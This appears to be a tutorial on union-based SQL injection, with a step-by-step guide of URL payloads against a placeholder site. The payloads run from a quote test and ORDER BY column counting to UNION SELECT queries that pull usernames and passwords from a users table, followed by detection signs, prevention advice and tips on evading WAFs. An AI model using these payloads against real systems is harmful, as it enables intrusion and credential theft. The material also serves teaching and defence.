What is Union-Based SQL Injection?
Union-Based SQL Injection is a technique used to extract data from the database by extending the results of an original query using the UNION
SQL operator. It allows an attacker to retrieve information from other tables within the database by appending their own SELECT queries.
๐ง Key Concepts
- UNION operator: Combines the result of two or more SELECT statements into a single result set.
- Column count: The number of columns in the original query must match the number in the injected UNION SELECT.
- Data types: Each corresponding column must be of a compatible data type.
- Error messages: SQL errors can help identify the number of columns and potential injection points.
๐ง Step-by-Step Guide
Step 1: Identify a vulnerable parameter
Test with a single quote to check for SQL errors:
https://target.site/products.php?id=1'
Step 2: Determine the number of columns
Use ORDER BY
or UNION SELECT NULL
testing:
https://target.site/products.php?id=1 ORDER BY 3--
Try increasing the number until you get an error.
Step 3: Craft a UNION SELECT statement
https://target.site/products.php?id=1 UNION SELECT null, null, null--
Once the page loads without error, you've found the correct column count.
Step 4: Extract data
https://target.site/products.php?id=1 UNION SELECT username, password, null FROM users--
Replace null
with actual data columns from the target table.
๐ต๏ธ Real-World Example
Consider this vulnerable query:
SELECT id, name, price FROM products WHERE id = '$id';
An attacker might inject:
1 UNION SELECT 1, username, password FROM users--
This would display usernames and passwords in the product list if output is not sanitized.
๐งฉ Detection Techniques
- Unexpected errors when adding
'
,--
, or SQL keywords - Unusual behavior when sorting or paginating results
- Database errors in the response (e.g., MySQL, MSSQL messages)
๐ก๏ธ How to Prevent Union-Based SQLi
- Use prepared statements (parameterized queries)
- Implement strict input validation and allowlists
- Use ORM frameworks when possible
- Never display raw database errors to the user
- Apply least privilege to the DB user (no
UNION
orSELECT
on sensitive tables)
๐ก Pro Tips
- Use tools like sqlmap for automation but always understand what they do under the hood
- Manual testing is essential when bypassing WAFs or custom logic
- Test various comment styles:
--
,#
, or/* */
- Focus on output-reflected parameters (those displayed back in the UI)